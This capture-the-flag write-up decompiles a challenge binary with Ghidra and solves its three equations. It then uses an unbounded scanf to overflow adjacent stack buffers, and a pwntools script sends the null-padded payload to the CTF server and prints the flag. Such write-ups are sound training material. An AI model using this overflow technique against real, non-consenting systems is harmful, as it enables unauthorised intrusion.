In this pwn challenge we got a binary `challenge1` as well as the online version with a flag, listening on the CTF server.

A good chance to try out Ghidra, the NSA RE tool! So I launched it up, analyzed the binary, and took a look into the decompiled main function. It was very straightforward, and after renaming a few variables for clarity we can easily see the conditions we need to satisfy.

The decompiled code was as follows:

``````undefined8 main(void)

{
int iVar1;
int x;
int y;
int z;
time_t tVar2;
size_t sVar3;
FILE *__stream;
long in_FS_OFFSET;
int local_9c;
char first_input [10];
char second_input [10];
char third_input [10];
char local_58 [56];
long local_20;
uint first;
uint second;
uint third;

local_20 = *(long *)(in_FS_OFFSET + 0x28);
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
iVar1 = rand();
first = (iVar1 % 10000) * -2;
iVar1 = rand();
second = (iVar1 % 10000) * -2;
iVar1 = rand();
third = (iVar1 % 10000) * -2;
puts("Can you cook my favourite food using these ingredients :)");
printf("%d ; %d ; %d ;\n",(ulong)first,(ulong)second,(ulong)third);
__isoc99_scanf(&DAT_00100de2,first_input);
local_9c = 0;
do {
sVar3 = strlen(first_input);
if (sVar3 <= (ulong)(long)local_9c) {
x = atoi(first_input);
y = atoi(second_input);
z = atoi(third_input);
if (first == y + x) {
if (second == z + y) {
if (third == x + z) {
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
fwrite("\nflag.txt doesn\'t exist.\n",1,0x19,stderr);
/* WARNING: Subroutine does not return */
exit(0);
}
fgets(local_58,0x32,__stream);
}
else {
fail();
}
}
else {
fail();
}
}
else {
fail();
}
LAB_00100ccd:
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
if (((first_input[(long)local_9c] < '0') || ('9' < first_input[(long)local_9c])) &&
(first_input[(long)local_9c] != '-')) {
puts("Invalid input :( ");
goto LAB_00100ccd;
}
local_9c = local_9c + 1;
} while( true );
}
``````

And the conditions to satisfy:

``````first   = y + x
second  = z + y
third   = x + z
``````

So with example run of challenge1 code:

``````▶ ./challenge1
Can you cook my favourite food using these ingredients :)
-14880 ; -7146 ; -5644 ;
``````

`first` being -14880, `second` being -7146 and `third` being -5644 would mean that:

``````x  = -14880 - y
y  = -7146 - z
z  = -5644 - x
``````

So:

``````y  = -7146 - (-5644 - x)
y  = -7146 - (-5644 - (-14880 -y))
y  = -7146 + 5644 - 14880 - y
2y = -7146 + 5644 - 14880
2y = -16382
y  = -8191
``````

So:

``````x  = -14880 - (-8191)
x  = -6689

z  = -5644 - (-6689)
z  = 1045
``````

After solving the algorithm, we need to figure out how to send in the values. From the decompile, we can see that the (now renamed) varibles for `first_input`, `second_input` and `third_input` are initialized one after another in the stack. This means that we can (mis)use the nonexistent buffer length check of `__isoc99_scanf` to populate all of these variables even though only the first one is read into.

To populate the variables with usable values, we need to terminate each one with null byte, and for this, it’s practical to just pad the values with null bytes up to the initialized array length of `10` for each of the vars.

The resulting exploit code using pwnlib looks like:

``````from pwn import *

class FeedMe(object):
def __init__(self, inputdata):
# Parse and normalize the input data
vals = inputdata.split(";")
res = []
for i in vals:
if i:
res.append(i.strip())
self.first = int(res[0])
self.second = int(res[1])
self.third = int(res[2])

def solve(self):
# Get x, y and z
y = (self.second - self.third + self.first) / 2
x = self.first - y
z = self.third - x
# Pad the values with null bytes to terminate the string and fill the buffer
return str(x).ljust(10, "\x00") + str(y).ljust(10, "\x00") + str(z).ljust(10, "\x00")

c = remote("159.89.166.12", 9800)
c.recvuntil(":)")

indata = c.recv(2048, timeout=1)
feeder = FeedMe(indata)
retval = feeder.solve()
c.send(retval+"\n")
print(c.recv(2048, timeout=1))
``````

And running it gets us our flag:

``````▶ python feedme.py
[+] Opening connection to 159.89.166.12 on port 9800: Done
pctf{p1zz4_t0pp3d_w1th_p1n34ppl3_s4uc3}

[*] Closed connection to 159.89.166.12 port 9800
``````

Pystyy vetää!